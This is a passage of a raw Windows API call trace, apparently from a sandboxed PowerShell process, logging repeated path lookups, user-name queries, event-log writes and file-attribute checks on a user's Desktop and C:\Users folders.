lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.463] GetLastError () returned 0xcb [0058.463] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dfd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.463] GetLastError () returned 0xcb [0058.465] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x3c9028, nSize=0x25e614 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x25e614) returned 0x1 [0058.465] GetLastError () returned 0xcb [0058.465] GetUserNameW (in: lpBuffer=0x391da8, pcbBuffer=0x25e61c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x25e61c) returned 1 [0058.465] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3539460*="Registry", lpRawData=0x353931c) returned 1 [0058.466] GetLastError () returned 0x0 [0058.467] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e014, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.467] GetLastError () returned 0x0 [0058.467] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dfc4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.467] GetLastError () returned 0x0 [0058.467] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dfc4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.467] GetLastError () returned 0x0 [0058.468] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x3c9028, nSize=0x25e614 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x25e614) returned 0x1 [0058.468] GetLastError () returned 0x0 [0058.468] GetUserNameW (in: lpBuffer=0x391da8, pcbBuffer=0x25e61c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x25e61c) returned 1 [0058.469] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x353d248*="Variable", lpRawData=0x353d104) returned 1 [0058.469] GetLastError () returned 0x0 [0058.470] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.470] GetLastError () returned 0xcb [0058.472] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.472] GetLastError () returned 0xcb [0058.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x25e014, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0058.474] GetLastError () returned 0xcb [0058.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x25dfc4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0058.474] GetLastError () returned 0xcb [0058.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x25dfc4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0058.474] GetLastError () returned 0xcb [0058.474] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x25dfc4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0058.474] GetLastError () returned 0xcb [0058.555] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x3c9028, nSize=0x25e614 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x25e614) returned 0x1 [0058.555] GetLastError () returned 0x3 [0058.555] GetUserNameW (in: lpBuffer=0x391da8, pcbBuffer=0x25e61c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x25e61c) returned 1 [0058.555] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2e1fd00*="Certificate", lpRawData=0x2e1fbbc) returned 1 [0058.556] GetLastError () returned 0x0 [0058.566] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.566] GetLastError () returned 0xcb [0058.571] GetLogicalDrives () returned 0x4 [0058.571] GetLastError () returned 0xcb [0058.571] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x25e18c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0058.571] GetLastError () returned 0xcb [0058.571] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0058.571] GetLastError () returned 0xcb [0058.572] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x391da8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.572] GetLastError () returned 0xcb [0058.573] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.573] GetLastError () returned 0xcb [0058.573] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.573] GetLastError () returned 0xcb [0058.591] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.591] GetLastError () returned 0xcb [0058.594] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.594] GetLastError () returned 0xcb [0058.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x25dfd4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0058.595] GetLastError () returned 0xcb [0058.595] SetErrorMode (uMode=0x1) returned 0x1 [0058.595] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2e2766c | out: lpFileInformation=0x2e2766c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6bf9fee0, ftLastAccessTime.dwHighDateTime=0x1d6bde3, ftLastWriteTime.dwLowDateTime=0x6bf9fee0, ftLastWriteTime.dwHighDateTime=0x1d6bde3, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.595] GetLastError () returned 0xcb [0058.595] SetErrorMode (uMode=0x1) returned 0x1 [0058.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x25dfdc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0058.595] GetLastError () returned 0xcb [0058.595] SetErrorMode (uMode=0x1) returned 0x1 [0058.595] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2e27820 | out: lpFileInformation=0x2e27820*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6bf9fee0, ftLastAccessTime.dwHighDateTime=0x1d6bde3, ftLastWriteTime.dwLowDateTime=0x6bf9fee0, ftLastWriteTime.dwHighDateTime=0x1d6bde3, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.595] GetLastError () returned 0xcb [0058.595] SetErrorMode (uMode=0x1) returned 0x1 [0058.600] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.600] GetLastError () returned 0xcb [0058.607] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x25e124, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0058.607] GetLastError () returned 0xcb [0058.608] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x25e0a0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0058.608] GetLastError () returned 0xcb [0058.608] SetErrorMode (uMode=0x1) returned 0x1 [0058.608] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x25e520 | out: lpFileInformation=0x25e520*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.608] GetLastError () returned 0xcb [0058.608] SetErrorMode (uMode=0x1) returned 0x1 [0058.608] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x25e0a0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0058.608] GetLastError () returned 0xcb [0058.608] SetErrorMode (uMode=0x1) returned 0x1 [0058.608] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x25e520 | out: lpFileInformation=0x25e520*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xe0adbcc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe0adbcc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.608] GetLastError () returned 0xcb [0058.608] SetErrorMode (uMode=0x1) returned 0x1 [0058.608] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x25e0b4, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0058.608] GetLastError () returned 0xcb [0058.608] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x25e050, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0058.608] GetLastError () returned 0xcb [0058.608] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x25e0a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0058.608] GetLastError () returned 0xcb [0058.608] SetErrorMode (uMode=0x1) returned 0x1 [0058.608] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x25e520 | out: lpFileInformation=0x25e520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0058.608] GetLastError () returned 0xcb [0058.608] SetErrorMode (uMode=0x1) returned 0x1 [0058.609] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x25e0a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0058.609] GetLastError () returned 0xcb [0058.609] SetErrorMode (uMode=0x1) returned 0x1 [0058.609] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x25e520 | out: lpFileInformation=0x25e520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0058.609] GetLastError () returned 0xcb [0058.609] SetErrorMode (uMode=0x1) returned 0x1 [0058.609] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x25e0b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0058.609] GetLastError () returned 0xcb [0058.609] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x25e050, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0058.609] GetLastError () returned 0xcb [0058.609] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x25e0a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0058.609] GetLastError () returned 0xcb [0058.609] SetErrorMode (uMode=0x1) returned 0x1 [0058.609] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x25e520 | out: lpFileInformation=0x25e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.609] GetLastError () returned 0xcb [0058.609] SetErrorMode (uMode=0x1) returned 0x1 [0058.609] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x25e0a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0058.609] GetLastError () returned 0xcb [0058.609] SetErrorMode (uMode=0x1) returned 0x1 [0058.609] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x25e520 | out: lpFileInformation=0x25e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.609] GetLastError () returned 0xcb [0058.609] SetErrorMode (uMode=0x1) returned 0x1 [0058.609] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x25e0b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0058.609] GetLastError () returned 0xcb [0058.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\.", nBufferLength=0x105, lpBuffer=0x25e050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0058.610] GetLastError () returned 0xcb [0058.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x25e0a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0058.610] GetLastError () returned 0xcb [0058.610] SetErrorMode (uMode=0x1) returned 0x1 [0058.610] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x25e520 | out: lpFileInformation=0x25e520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6bf9fee0, ftLastAccessTime.dwHighDateTime=0x1d6bde3, ftLastWriteTime.dwLowDateTime=0x6bf9fee0, ftLastWriteTime.dwHighDateTime=0x1d6bde3, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.610] GetLastError () returned 0xcb [0058.610] SetErrorMode (uMode=0x1) returned 0x1 [0058.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x25e0a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0058.610] GetLastError () returned 0xcb [0058.610] SetErrorMode (uMode=0x1) returned 0x1 [0058.610] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x25e520 | out: lpFileInformation=0x25e520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6bf9fee0, ftLastAccessTime.dwHighDateTime=0x1d6bde3, ftLastWriteTime.dwLowDateTime=0x6bf9fee0, ftLastWriteTime.dwHighDateTime=0x1d6bde3, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.610] GetLastError () returned 0xcb [0058.610] SetErrorMode (uMode=0x1) returned 0x1 [0058.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x25e0b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0058.610] GetLastError () returned 0xcb [0058.610] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x25e050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0058.610] GetLastError () returned 0xcb [0058.610] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x25e0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0058.610] GetLastError () returned 0xcb [0058.610] SetErrorMode (uMode=0x1) returned 0x1 [0058.611] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x25e52c | out: lpFileInformation=0x25e52c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0058.611] GetLastError () returned 0xcb [0058.611] SetErrorMode (uMode=0x1) returned 0x1 [0058.611] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x25e0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0058.611] GetLastError () returned 0xcb [0058.611] SetErrorMode (uMode=0x1) returned 0x1 [0058.611] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x25e52c | out: lpFileInformation=0x25e52c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0058.611] GetLastError () returned 0xcb [0058.611] SetErrorMode (uMode=0x1) returned 0x1 [0058.611] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x25e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0058.611] GetLastError () returned 0xcb [0058.611] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x25e05c, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0058.611] GetLastError () returned 0xcb [0058.611] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x25e0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0058.611] GetLastError () returned 0xcb [0058.611] SetErrorMode (uMode=0x1) returned 0x1 [0058.611] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x25e52c | out: lpFileInformation=0x25e52c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.611] GetLastError () returned 0xcb [0058.611] SetErrorMode (uMode=0x1) returned 0x1 [0058.611] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x25e0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0058.611] GetLastError () returned 0xcb [0058.611] SetErrorMode (uMode=0x1) returned 0x1 [0058.611] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x25e52c | out: lpFileInformation=0x25e52c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.612] GetLastError () returned 0xcb [0058.612] SetErrorMode (uMode=0x1) returned 0x1 [0058.612] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x25e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0058.612] GetLastError () returned 0xcb [0058.612] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\.", nBufferLength=0x105, lpBuffer=0x25e05c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0058.612] GetLastError () returned 0xcb [0058.612] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x25e0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0058.612] GetLastError () returned 0xcb [0058.612] SetErrorMode (uMode=0x1) returned 0x1 [0058.612] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x25e52c | out: lpFileInformation=0x25e52c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6bf9fee0, ftLastAccessTime.dwHighDateTime=0x1d6bde3, ftLastWriteTime.dwLowDateTime=0x6bf9fee0, ftLastWriteTime.dwHighDateTime=0x1d6bde3, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.612] GetLastError () returned 0xcb [0058.612] SetErrorMode (uMode=0x1) returned 0x1 [0058.612] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x25e0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0058.612] GetLastError () returned 0xcb [0058.612] SetErrorMode (uMode=0x1) returned 0x1 [0058.612] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x25e52c | out: lpFileInformation=0x25e52c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6bf9fee0, ftLastAccessTime.dwHighDateTime=0x1d6bde3, ftLastWriteTime.dwLowDateTime=0x6bf9fee0, ftLastWriteTime.dwHighDateTime=0x1d6bde3, 